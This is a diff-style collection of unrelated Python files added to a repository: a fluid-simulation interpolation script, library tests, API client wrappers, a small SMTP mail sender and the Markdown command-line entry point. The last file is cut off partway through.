+ points = zip(LES_grid_x.flatten(), LES_grid_y.flatten(),LES_grid_z.flatten())
131
+ value_Ux = LES_data.Ux.flatten()
132
+ value_Uy = LES_data.Uy.flatten()
133
+ value_Uz = LES_data.Uz.flatten()
134
+
135
+ print("points: ", len(points), " \t value_Ux : ",len(value_Ux))
136
+
137
+ #Ux
138
+ LES_interpolated_Ux = griddata(points,value_Ux,(grid_x,grid_y,grid_z),method ='linear' )
139
+
140
+ with open('LES_interpolated_Ux.txt','w') as f:
141
+ f.write('# Array shape: {0}\n'.format(LES_interpolated_Ux.shape))
142
+ for LES_slice in LES_interpolated_Ux:
143
+ np.savetxt(f,LES_slice)
144
+ print ('Ux interpolated to DNS grid', datetime.datetime.strftime(datetime.datetime.now(),"%Y-%m-%d %H:%M:%S"))
145
+
146
+ #Uy
147
+ LES_interpolated_Uy = griddata(points,value_Uy,(grid_x,grid_y,grid_z),method ='linear' )
148
+ with open('LES_interpolated_Uy.txt','w') as f:
149
+ f.write('# Array shape: {0}\n'.format(LES_interpolated_Uy.shape))
150
+ for LES_slice in LES_interpolated_Uy:
151
+ np.savetxt(f,LES_slice)
152
+ print ('Uy interpolated to DNS grid', datetime.datetime.strftime(datetime.datetime.now(),"%Y-%m-%d %H:%M:%S"))
153
+
154
+ #Uz
155
+ LES_interpolated_Uz = griddata(points,value_Uz,(grid_x,grid_y,grid_z),method ='linear' )
156
+ with open('LES_interpolated_Uz.txt','w') as f:
157
+ f.write('# Array shape: {0}\n'.format(LES_interpolated_Uz.shape))
158
+ for LES_slice in LES_interpolated_Uz:
159
+ np.savetxt(f,LES_slice)
160
+ print ('Uz interpolated to DNS grid', datetime.datetime.strftime(datetime.datetime.now(),"%Y-%m-%d %H:%M:%S"))
161
+
162
+
163
+
164
+ Ux_data = np.loadtxt('LES_interpolated_Ux.txt').reshape(128,129,128)
165
+ Uy_data = np.loadtxt('LES_interpolated_Uy.txt').reshape(128,129,128)
166
+ Uz_data = np.loadtxt('LES_interpolated_Uz.txt').reshape(128,129,128)
167
+
168
+ Ux_SGS_dense = DNS_data.Ux - Ux_data
169
+ Uy_SGS_dense = DNS_data.Uy - Uy_data
170
+ Uz_SGS_dense = DNS_data.Uz - Uz_data
171
+
172
+ SGS_DNS = hs.Channel(Ux_SGS_dense,Uy_SGS_dense,Uz_SGS_dense,DNS_data.K,DNS_data.N, DNS_data.M )
173
+
174
+
175
+
pool/shard009/Python/0084106_test_random.py ADDED
@@ -0,0 +1,47 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Copyright 2021 Sony Corporation.
2
+ #
3
+ # Licensed under the Apache License, Version 2.0 (the "License");
4
+ # you may not use this file except in compliance with the License.
5
+ # You may obtain a copy of the License at
6
+ #
7
+ # http://www.apache.org/licenses/LICENSE-2.0
8
+ #
9
+ # Unless required by applicable law or agreed to in writing, software
10
+ # distributed under the License is distributed on an "AS IS" BASIS,
11
+ # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12
+ # See the License for the specific language governing permissions and
13
+ # limitations under the License.
14
+
15
+ import pytest
16
+ import numpy as np
17
+ import nnabla as nn
18
+ import nnabla.functions as F
19
+ import nnabla.random as R
20
+
21
+
22
+ @pytest.mark.parametrize("seed", [311])
23
+ def test_seed(seed):
24
+ rand = F.rand(shape=(1, 2, 3))
25
+
26
+ nn.seed(seed)
27
+
28
+ # check Python random generator
29
+ assert R.pseed == seed
30
+ assert R.prng.rand() == np.random.RandomState(seed).rand()
31
+
32
+ # check NNabla layer
33
+ rand_values_before = []
34
+ for i in range(10):
35
+ rand.forward()
36
+ rand_values_before.append(rand.d.copy())
37
+
38
+ # reset seed
39
+ nn.seed(seed)
40
+
41
+ rand_values_after = []
42
+ for i in range(10):
43
+ rand.forward()
44
+ rand_values_after.append(rand.d.copy())
45
+
46
+ # check if global random generator is reset
47
+ assert np.all(np.array(rand_values_before) == np.array(rand_values_after))
pool/shard009/Python/0084108_init__.py ADDED
@@ -0,0 +1,18 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # -*- coding: utf-8 -*-
2
+
3
+ import os
4
+ import sys
5
+
6
+ __author__ = 'Juan Diego Godoy Robles'
7
+ __version__ = '0.1'
8
+ __ppath__ = os.path.dirname(os.path.realpath(__file__))
9
+ if __ppath__ not in sys.path:
10
+ sys.path.append(os.path.dirname(__ppath__))
11
+
12
+ from flask import Flask
13
+ app = Flask(__name__)
14
+
15
+ from cp_validator import extractor
16
+ postals = extractor.get_postal()
17
+
18
+ import cp_validator.views
pool/shard009/Python/0084113_removeapplicationrecordauthorization.py ADDED
@@ -0,0 +1,34 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from lxml import etree
2
+ from healthvaultlib.methods.method import Method
3
+ from healthvaultlib.methods.methodbase import RequestBase, ResponseBase
4
+
5
+
6
+ class RemoveApplicationRecordAuthorizationRequest(RequestBase):
7
+
8
+ def __init__(self):
9
+ super(RemoveApplicationRecordAuthorizationRequest, self).__init__()
10
+ self.name = 'RemoveApplicationRecordAuthorization'
11
+ self.version = 1
12
+
13
+ def get_info(self):
14
+ info = etree.Element('info')
15
+ return info
16
+
17
+
18
+ class RemoveApplicationRecordAuthorizationResponse(ResponseBase):
19
+
20
+ def __init__(self):
21
+ super(RemoveApplicationRecordAuthorizationResponse, self).__init__()
22
+ self.name = 'RemoveApplicationRecordAuthorization'
23
+ self.version = 1
24
+ self.NSMAP = {'wc': 'urn:com.microsoft.wc.methods.response.any'}
25
+
26
+ def parse_response(self, response):
27
+ return None
28
+
29
+
30
+ class RemoveApplicationRecordAuthorization(Method):
31
+
32
+ def __init__(self):
33
+ self.request = RemoveApplicationRecordAuthorizationRequest()
34
+ self.response = RemoveApplicationRecordAuthorizationResponse()
pool/shard009/Python/0084116_news.py ADDED
@@ -0,0 +1,22 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from google.appengine.ext import ndb
2
+ from datetime import datetime
3
+
4
+ class News(ndb.Model):
5
+ date = ndb.DateTimeProperty()
6
+ title = ndb.StringProperty()
7
+ content = ndb.StringProperty(indexed=False)
8
+
9
+ def maximize(self):
10
+ my_dict = self.to_dict()
11
+ my_dict['date'] = my_dict['date'].strftime("%Y-%m-%d %H:%M:%S")
12
+ return my_dict
13
+
14
+ def fill_from_old(self, old_news):
15
+ self.title = old_news['title']
16
+ self.content = old_news['summary']
17
+ #DATE FORMAT Tue, 04 Feb 2014 12:29:32 PST
18
+ self.date = datetime.strptime(old_news['published'][0:-4], "%a, %d %b %Y %H:%M:%S")
19
+
20
+ @classmethod
21
+ def generate_key(cls, id):
22
+ return ndb.Key(cls, id)
pool/shard009/Python/0084117_sendone.py ADDED
@@ -0,0 +1,32 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # -*- coding: utf-8 -*-
2
+
3
+ from email.mime.text import MIMEText
4
+ from email import encoders
5
+ import email.header
6
+ import email.utils
7
+ import smtplib
8
+
9
+
10
+ def format_addr(s):
11
+ name, addr = email.utils.parseaddr(s)
12
+
13
+ return email.utils.formataddr((\
14
+ email.header.Header(name, 'utf-8').encode(), \
15
+ addr.encode('utf-8') if isinstance(addr, unicode) else addr))
16
+
17
+ mail_content = input('mail content:')
18
+ send_from_addr = input("from:")
19
+ password = input('password:')
20
+ smtp_server = input('SMTP server:')
21
+ send_to_addr = input('send to:')
22
+
23
+ msg = MIMEText(mail_content, "plain", 'utf-8')
24
+ msg['From'] = format_addr(u'Python爱好者 <%s>' % send_from_addr)
25
+ msg['To'] = format_addr(u'管理员 <%s>' % send_to_addr)
26
+ msg['Subject'] = email.header.Header(u'来自SMTP的问候……', 'utf-8').encode()
27
+
28
+ server = smtplib.SMTP(smtp_server, 25)
29
+ server.set_debuglevel(1)
30
+ server.login(send_from_addr, password)
31
+ server.sendmail(send_from_addr, [send_to_addr], msg.as_string())
32
+ server.quit()
pool/shard009/Python/0084118_image_annotator_client.py ADDED
@@ -0,0 +1,179 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Copyright 2017, Google Inc. All rights reserved.
2
+ #
3
+ # Licensed under the Apache License, Version 2.0 (the "License");
4
+ # you may not use this file except in compliance with the License.
5
+ # You may obtain a copy of the License at
6
+ #
7
+ # http://www.apache.org/licenses/LICENSE-2.0
8
+ #
9
+ # Unless required by applicable law or agreed to in writing, software
10
+ # distributed under the License is distributed on an "AS IS" BASIS,
11
+ # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12
+ # See the License for the specific language governing permissions and
13
+ # limitations under the License.
14
+ #
15
+ # EDITING INSTRUCTIONS
16
+ # This file was generated from the file
17
+ # https://github.com/google/googleapis/blob/master/google/cloud/vision/v1/image_annotator.proto,
18
+ # and updates to that file get reflected here through a refresh process.
19
+ # For the short term, the refresh process will only be runnable by Google engineers.
20
+ #
21
+ # The only allowed edits are to method and file documentation. A 3-way
22
+ # merge preserves those additions if the generated source changes.
23
+ """Accesses the google.cloud.vision.v1 ImageAnnotator API."""
24
+
25
+ import collections
26
+ import json
27
+ import os
28
+ import pkg_resources
29
+ import platform
30
+
31
+ from google.gax import api_callable
32
+ from google.gax import config
33
+ from google.gax import path_template
34
+ import google.gax
35
+
36
+ from google.cloud.gapic.vision.v1 import enums
37
+ from google.cloud.proto.vision.v1 import image_annotator_pb2
38
+
39
+
40
+ class ImageAnnotatorClient(object):
41
+ """Service that performs Google Cloud Vision API detection tasks over
42
+ client images, such as face, landmark, logo, label, and text detection. The
43
+ ImageAnnotator service returns detected entities from the images.
44
+ """
45
+
46
+ SERVICE_ADDRESS = 'vision.googleapis.com'
47
+ """The default address of the service."""
48
+
49
+ DEFAULT_SERVICE_PORT = 443
50
+ """The default port of the service."""
51
+
52
+ # The scopes needed to make gRPC calls to all of the methods defined in
53
+ # this service
54
+ _ALL_SCOPES = ('https://www.googleapis.com/auth/cloud-platform', )
55
+
56
+ def __init__(self,
57
+ service_path=SERVICE_ADDRESS,
58
+ port=DEFAULT_SERVICE_PORT,
59
+ channel=None,
60
+ credentials=None,
61
+ ssl_credentials=None,
62
+ scopes=None,
63
+ client_config=None,
64
+ app_name=None,
65
+ app_version='',
66
+ lib_name=None,
67
+ lib_version='',
68
+ metrics_headers=()):
69
+ """Constructor.
70
+
71
+ Args:
72
+ service_path (string): The domain name of the API remote host.
73
+ port (int): The port on which to connect to the remote host.
74
+ channel (:class:`grpc.Channel`): A ``Channel`` instance through
75
+ which to make calls.
76
+ credentials (object): The authorization credentials to attach to
77
+ requests. These credentials identify this application to the
78
+ service.
79
+ ssl_credentials (:class:`grpc.ChannelCredentials`): A
80
+ ``ChannelCredentials`` instance for use with an SSL-enabled
81
+ channel.
82
+ scopes (list[string]): A list of OAuth2 scopes to attach to requests.
83
+ client_config (dict):
84
+ A dictionary for call options for each method. See
85
+ :func:`google.gax.construct_settings` for the structure of
86
+ this data. Falls back to the default config if not specified
87
+ or the specified config is missing data points.
88
+ app_name (string): The name of the application calling
89
+ the service. Recommended for analytics purposes.
90
+ app_version (string): The version of the application calling
91
+ the service. Recommended for analytics purposes.
92
+ lib_name (string): The API library software used for calling
93
+ the service. (Unless you are writing an API client itself,
94
+ leave this as default.)
95
+ lib_version (string): The API library software version used
96
+ for calling the service. (Unless you are writing an API client
97
+ itself, leave this as default.)
98
+ metrics_headers (dict): A dictionary of values for tracking
99
+ client library metrics. Ultimately serializes to a string
100
+ (e.g. 'foo/1.2.3 bar/3.14.1'). This argument should be
101
+ considered private.
102
+
103
+ Returns:
104
+ A ImageAnnotatorClient object.
105
+ """
106
+ # Unless the calling application specifically requested
107
+ # OAuth scopes, request everything.
108
+ if scopes is None:
109
+ scopes = self._ALL_SCOPES
110
+
111
+ # Initialize an empty client config, if none is set.
112
+ if client_config is None:
113
+ client_config = {}
114
+
115
+ # Initialize metrics_headers as an ordered dictionary
116
+ # (cuts down on cardinality of the resulting string slightly).
117
+ metrics_headers = collections.OrderedDict(metrics_headers)
118
+ metrics_headers['gl-python'] = platform.python_version()
119
+
120
+ # The library may or may not be set, depending on what is
121
+ # calling this client. Newer client libraries set the library name
122
+ # and version.
123
+ if lib_name:
124
+ metrics_headers[lib_name] = lib_version
125
+
126
+ # Finally, track the GAPIC package version.
127
+ metrics_headers['gapic'] = pkg_resources.get_distribution(
128
+ 'google-cloud-vision', ).version
129
+
130
+ # Load the configuration defaults.
131
+ default_client_config = json.loads(
132
+ pkg_resources.resource_string(
133
+ __name__, 'image_annotator_client_config.json').decode())
134
+ defaults = api_callable.construct_settings(
135
+ 'google.cloud.vision.v1.ImageAnnotator',
136
+ default_client_config,
137
+ client_config,
138
+ config.STATUS_CODE_NAMES,
139
+ metrics_headers=metrics_headers, )
140
+ self.image_annotator_stub = config.create_stub(
141
+ image_annotator_pb2.ImageAnnotatorStub,
142
+ channel=channel,
143
+ service_path=service_path,
144
+ service_port=port,
145
+ credentials=credentials,
146
+ scopes=scopes,
147
+ ssl_credentials=ssl_credentials)
148
+
149
+ self._batch_annotate_images = api_callable.create_api_call(
150
+ self.image_annotator_stub.BatchAnnotateImages,
151
+ settings=defaults['batch_annotate_images'])
152
+
153
+ # Service calls
154
+ def batch_annotate_images(self, requests, options=None):
155
+ """
156
+ Run image detection and annotation for a batch of images.
157
+
158
+ Example:
159
+ >>> from google.cloud.gapic.vision.v1 import image_annotator_client
160
+ >>> client = image_annotator_client.ImageAnnotatorClient()
161
+ >>> requests = []
162
+ >>> response = client.batch_annotate_images(requests)
163
+
164
+ Args:
165
+ requests (list[:class:`google.cloud.proto.vision.v1.image_annotator_pb2.AnnotateImageRequest`]): Individual image annotation requests for this batch.
166
+ options (:class:`google.gax.CallOptions`): Overrides the default
167
+ settings for this call, e.g, timeout, retries etc.
168
+
169
+ Returns:
170
+ A :class:`google.cloud.proto.vision.v1.image_annotator_pb2.BatchAnnotateImagesResponse` instance.
171
+
172
+ Raises:
173
+ :exc:`google.gax.errors.GaxError` if the RPC is aborted.
174
+ :exc:`ValueError` if the parameters are invalid.
175
+ """
176
+ # Create the request object.
177
+ request = image_annotator_pb2.BatchAnnotateImagesRequest(
178
+ requests=requests)
179
+ return self._batch_annotate_images(request, options)
pool/shard009/Python/0084120_main__.py ADDED
@@ -0,0 +1,136 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ COMMAND-LINE SPECIFIC STUFF
3
+ =============================================================================
4
+
5
+ """
6
+
7
+ import sys
8
+ import optparse
9
+ import codecs
10
+ import warnings
11
+ import markdown
12
+ try:
13
+ import yaml
14
+ except ImportError: # pragma: no cover
15
+ import json as yaml
16
+
17
+ import logging
18
+ from logging import DEBUG, WARNING, CRITICAL
19
+
20
+ logger = logging.getLogger('MARKDOWN')
21
+
22
+
23
+ def parse_options(args=None, values=None):
24
+ """
25
+ Define and parse `optparse` options for command-line usage.
26
+ """
27
+ usage = """%prog [options] [INPUTFILE]
28
+ (STDIN is assumed if no INPUTFILE is given)"""
29
+ desc = "A Python implementation of John Gruber's Markdown. " \
30
+ "https://Python-Markdown.github.io/"
31
+ ver = "%%prog %s" % markdown.version
32
+
33
+ parser = optparse.OptionParser(usage=usage, description=desc, version=ver)
34
+ parser.add_option("-f", "--file", dest="filename", default=None,
35
+ help="Write output to OUTPUT_FILE. Defaults to STDOUT.",
36
+ metavar="OUTPUT_FILE")
37
+ parser.add_option("-e", "--encoding", dest="encoding",
38
+ help="Encoding for input and output files.",)
39
+ parser.add_option("-s", "--safe", dest="safe", default=False,
40
+ metavar="SAFE_MODE",
41
+ help="Deprecated! 'replace', 'remove' or 'escape' HTML "
42
+ "tags in input")
43
+ parser.add_option("-o", "--output_format", dest="output_format",
44
+ default='xhtml1', metavar="OUTPUT_FORMAT",
45
+ help="'xhtml1' (default), 'html4' or 'html5'.")
46
+ parser.add_option("-n", "--no_lazy_ol", dest="lazy_ol",
47
+ action='store_false', default=True,
48
+ help="Observe number of first item of ordered lists.")
49
+ parser.add_option("-x", "--extension", action="append", dest="extensions",
50
+ help="Load extension EXTENSION.", metavar="EXTENSION")
51
+ parser.add_option("-c", "--extension_configs",
52
+ dest="configfile", default=None,
53
+ help="Read extension configurations from CONFIG_FILE. "
54
+ "CONFIG_FILE must be of JSON or YAML format. YAML"
55
+ "format requires that a python YAML library be "
56
+ "installed. The parsed JSON or YAML must result in a "
57
+ "python dictionary which would be accepted by the "
58
+ "'extension_configs' keyword on the markdown.Markdown "
59
+ "class. The extensions must also be loaded with the "
60
+ "`--extension` option.",
61
+ metavar="CONFIG_FILE")
62
+ parser.add_option("-q", "--quiet", default=CRITICAL,
63
+ action="store_const", const=CRITICAL+10, dest="verbose",
64
+ help="Suppress all warnings.")
65
+ parser.add_option("-v", "--verbose",
66
+ action="store_const", const=WARNING, dest="verbose",
67
+ help="Print all warnings.")
68
+ parser.add_option("--noisy",
69
+ action="store_const", const=DEBUG, dest="verbose",
70
+ help="Print debug messages.")
71
+
72
+ (options, args) = parser.parse_args(args, values)
73
+
74
+ if len(args) == 0:
75
+ input_file = None
76
+ else:
77
+ input_file = args[0]
78
+
79
+ if not options.extensions:
80
+ options.extensions = []
81
+
82
+ extension_configs = {}
83
+ if options.configfile:
84
+ with codecs.open(
85
+ options.configfile, mode="r", encoding=options.encoding
86
+ ) as fp:
87
+ try:
88
+ extension_configs = yaml.load(fp)
89
+ except Exception as e:
90
+ message = "Failed parsing extension config file: %s" % \
91
+ options.configfile
92
+ e.args = (message,) + e.args[1:]
93
+ raise
94
+
95
+ opts = {
96
+ 'input': input_file,
97
+ 'output': options.filename,
98
+ 'extensions': options.extensions,
99
+ 'extension_configs': extension_configs,
100
+ 'encoding': options.encoding,
101
+ 'output_format': options.output_format,
102
+ 'lazy_ol': options.lazy_ol
103
+ }
104
+
105
+ if options.safe:
106
+ # Avoid deprecation warning if user didn't set option
107
+ opts['safe_mode'] = options.safe
108
+
109
+ return opts, options.verbose
110
+
111
+
112
+ def run(): # pragma: no cover
113
+ """Run Markdown from the command line."""
114
+
115
+ # Parse options and adjust logging level if necessary
116
+ options, logging_level = parse_options()
117
+ if not options:
118
+ sys.exit(2)
119
+ logger.setLevel(logging_level)
120
+ console_handler = logging.StreamHandler()
121
+ logger.addHandler(console_handler)
122
+ if logging_level <= WARNING:
123
+ # Ensure deprecation warnings get displayed
124
+ warnings.filterwarnings('default')
125
+ logging.captureWarnings(True)
126
+ warn_logger = logging.getLogger('py.warnings')
127
+ warn_logger.addHandler(console_handler)
128
+
129
+ # Run
130
+ markdown.markdownFromFile(**options)
131
+
132
+
133
+ if __name__ == '__main__': # pragma: no cover
134
+ # Support running module as a commandline command.
135
+ # Python 2.7 & 3.x do: `python -m markdown [options] [args]`.
136
+ run()
pool/shard009/Python/0084122_test_sqlite_utils.py ADDED
@@ -0,0 +1,79 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # -*- coding: utf-8 -*-
2
+ import logging
3
+ import os
4
+ from unittest.mock import Mock, patch
5
+
6
+ from django.test import TransactionTestCase
7
+
8
+ from eventkit_cloud.utils.gpkg.sqlite_utils import get_database_connection, Table
9
+
10
+ logger = logging.getLogger(__name__)
11
+
12
+
13
+ class TestSqliteUtils(TransactionTestCase):
14
+ def setUp(self):
15
+ self.path = os.path.dirname(os.path.realpath(__file__))
16
+
17
+ @patch("eventkit_cloud.utils.gpkg.sqlite_utils.connect")
18
+ def test_get_database_connection(self, connect):
19
+ from sqlite3 import Row
20
+
21
+ cursor_mock = Mock()
22
+ cursor_mock.fetchone.return_value = "test"
23
+ connect().__enter__().cursor.return_value = cursor_mock
24
+
25
+ # Test that a connection object is returned
26
+ with get_database_connection(self.path) as conn:
27
+ self.assertEqual(conn.cursor().fetchone(), "test")
28
+
29
+ # Test that the row_factory property is correctly set to sqlite3.Row
30
+ self.assertEqual(get_database_connection(self.path).row_factory, Row)
31
+
32
+
33
+ class TestTableQuery(TransactionTestCase):
34
+ def setUp(self):
35
+ self.path = os.path.dirname(os.path.realpath(__file__))
36
+
37
+ def test_get_table_query_validate(self):
38
+ cursor_mock = Mock()
39
+
40
+ def fill_cursor(*args):
41
+ if args[1][0] in ["gpkg_contents"]:
42
+ cursor_mock.fetchone.return_value = ("gpkg_contents",)
43
+ else:
44
+ cursor_mock.fetchone.return_value = tuple()
45
+
46
+ cursor_mock.execute.side_effect = fill_cursor
47
+ passed = True
48
+ try:
49
+ Table(cursor_mock, "gpkg_contents").validate()
50
+ except ValueError:
51
+ passed = False
52
+ self.assertTrue(passed)
53
+ self.assertRaises(ValueError, Table(cursor_mock, "gpkg_metadata").validate)
54
+
55
+ try:
56
+ Table(cursor_mock, "sqlite_master").validate()
57
+ except ValueError:
58
+ passed = False
59
+ self.assertTrue(passed)
60
+
61
+
62
+ class TestTable(TransactionTestCase):
63
+ def setUp(self):
64
+ self.path = os.path.dirname(os.path.realpath(__file__))
65
+
66
+ def test_get_table_exists(self):
67
+ cursor_mock = Mock()
68
+
69
+ def fill_cursor(*args):
70
+ if args[1][0] in ["gpkg_contents", "other_table"]:
71
+ cursor_mock.fetchone.return_value = ("gpkg_contents",)
72
+ else:
73
+ cursor_mock.fetchone.return_value = tuple()
74
+
75
+ cursor_mock.execute.side_effect = fill_cursor
76
+ self.assertTrue(Table.exists(cursor_mock, "gpkg_contents"))
77
+ self.assertTrue(cursor_mock.execute.called_once)
78
+ self.assertTrue(not Table.exists(cursor_mock, "gpkg_metadata"))
79
+ self.assertTrue(Table.exists(cursor_mock, "other_table"))
pool/shard009/Python/0084124_util_tests.py ADDED
@@ -0,0 +1,185 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Copyright 2015 Google Inc. All rights reserved.
2
+ #
3
+ # Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
4
+ # in compliance with the License. You may obtain a copy of the License at
5
+ #
6
+ # http://www.apache.org/licenses/LICENSE-2.0
7
+ #
8
+ # Unless required by applicable law or agreed to in writing, software distributed under the License
9
+ # is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
10
+ # or implied. See the License for the specific language governing permissions and limitations under
11
+ # the License.
12
+
13
+ from __future__ import absolute_import
14
+ from __future__ import unicode_literals
15
+ import imp
16
+ import unittest
17
+ import pytz
18
+ import mock
19
+ import os
20
+
21
+ import google.datalab.utils._utils as _utils
22
+ from datetime import datetime
23
+ import oauth2client.client
24
+
25
+
26
+ class TestCases(unittest.TestCase):
27
+
28
+ @staticmethod
29
+ def _get_data():
30
+ m = imp.new_module('baz')
31
+ exec('x = 99', m.__dict__)
32
+ data = {
33
+ 'foo': {
34
+ 'bar': {
35
+ 'xyz': 0
36
+ },
37
+ 'm': m
38
+ }
39
+ }
40
+ return data
41
+
42
+ def test_no_entry(self):
43
+ data = TestCases._get_data()
44
+ self.assertIsNone(_utils.get_item(data, 'x'))
45
+ self.assertIsNone(_utils.get_item(data, 'bar.x'))
46
+ self.assertIsNone(_utils.get_item(data, 'foo.bar.x'))
47
+ self.assertIsNone(_utils.get_item(globals(), 'datetime.bar.x'))
48
+
49
+ def test_entry(self):
50
+ data = TestCases._get_data()
51
+ self.assertEquals(data['foo']['bar']['xyz'], _utils.get_item(data, 'foo.bar.xyz'))
52
+ self.assertEquals(data['foo']['bar'], _utils.get_item(data, 'foo.bar'))
53
+ self.assertEquals(data['foo'], _utils.get_item(data, 'foo'))
54
+ self.assertEquals(data['foo']['m'], _utils.get_item(data, 'foo.m'))
55
+ self.assertEquals(99, _utils.get_item(data, 'foo.m.x'))
56
+
57
+ def test_compare_datetimes(self):
58
+ t1, t2 = datetime(2017, 2, 2, 12, 0, 0), datetime(2017, 2, 2, 12, 0, 0)
59
+ self.assertEquals(_utils.compare_datetimes(t1, t2), 0)
60
+
61
+ t2 = t2.replace(hour=11)
62
+ self.assertEquals(_utils.compare_datetimes(t1, t2), 1)
63
+
64
+ def test_compare_datetimes_tz(self):
65
+ t1 = datetime(2017, 2, 2, 12, 0, 0)
66
+ t2 = datetime(2017, 2, 2, 12, 0, 0, tzinfo=pytz.timezone('US/Eastern'))
67
+
68
+ self.assertEquals(_utils.compare_datetimes(t1, t2), -1)
69
+
70
+ t1 = t1.replace(tzinfo=pytz.timezone('US/Pacific'))
71
+
72
+ self.assertEquals(_utils.compare_datetimes(t1, t2), 1)
73
+
74
+ @mock.patch('os.path.expanduser')
75
+ def test_get_config_dir(self, mock_expand_user):
76
+ mock_expand_user.return_value = 'user/relative/path'
77
+ with mock.patch.dict(os.environ, {'CLOUDSDK_CONFIG': 'test/path'}):
78
+ self.assertEquals(_utils.get_config_dir(), 'test/path')
79
+
80
+ self.assertEquals(_utils.get_config_dir(), 'user/relative/path/.config/gcloud')
81
+
82
+ @mock.patch('os.name', 'nt')
83
+ @mock.patch('os.path.join')
84
+ def test_get_config_dir_win(self, mock_path_join):
85
+ mock_path_join.side_effect = lambda x, y: x + y
86
+ self.assertEquals(_utils.get_config_dir(), 'C:\\gcloud')
87
+
88
+ mock_path_join.side_effect = lambda x, y: x + '\\' + y
89
+ with mock.patch.dict(os.environ, {'APPDATA': 'test\\path'}):
90
+ self.assertEquals(_utils.get_config_dir(), 'test\\path\\gcloud')
91
+
92
+ @mock.patch('google.datalab.utils._utils._in_datalab_docker')
93
+ @mock.patch('oauth2client.client.GoogleCredentials.get_application_default')
94
+ @mock.patch('os.path.exists')
95
+ def test_get_credentials_from_file(self, mock_path_exists, mock_get_default_creds,
96
+ mock_in_datalab):
97
+ # If application default credentials exist, use them
98
+ _utils.get_credentials()
99
+ mock_get_default_creds.assert_has_calls([
100
+ mock.call().create_scoped_required(),
101
+ mock.call().create_scoped(_utils.CREDENTIAL_SCOPES)
102
+ ], any_order=True)
103
+
104
+ # If application default credentials are not defined, should load from file
105
+ test_creds = '''
106
+ {
107
+ "data": [{
108
+ "key": {
109
+ "type": "google-cloud-sdk"
110
+ },
111
+ "credential": {
112
+ "access_token": "test-access-token",
113
+ "client_id": "test-id",
114
+ "client_secret": "test-secret",
115
+ "refresh_token": "test-token",
116
+ "token_expiry": "test-expiry",
117
+ "token_uri": "test-url",
118
+ "user_agent": "test-agent",
119
+ "invalid": "false"
120
+ }
121
+ }]
122
+ }
123
+ '''
124
+ with mock.patch('google.datalab.utils._utils.open', mock.mock_open(read_data=test_creds)):
125
+ mock_get_default_creds.side_effect = Exception
126
+ cred = _utils.get_credentials()
127
+
128
+ self.assertEquals(cred.access_token, 'test-access-token')
129
+
130
+ mock_path_exists.return_value = False
131
+ with self.assertRaises(Exception):
132
+ cred = _utils.get_credentials()
133
+
134
+ # If default creds are not defined, and no file exists with credentials, throw
135
+ # something more meaningful.
136
+ mock_get_default_creds.side_effect = oauth2client.client.ApplicationDefaultCredentialsError
137
+ with self.assertRaisesRegexp(Exception,
138
+ 'No application credentials found. Perhaps you should sign in'):
139
+ cred = _utils.get_credentials()
140
+
141
+ @mock.patch('subprocess.call')
142
+ @mock.patch('os.path.exists')
143
+ def test_save_project_id(self, mock_path_exists, mock_subprocess_call):
144
+ _utils.save_project_id('test-project')
145
+ mock_subprocess_call.assert_called_with([
146
+ 'gcloud', 'config', 'set', 'project', 'test-project'
147
+ ])
148
+
149
+ mock_subprocess_call.side_effect = Exception
150
+
151
+ test_config = '''
152
+ {
153
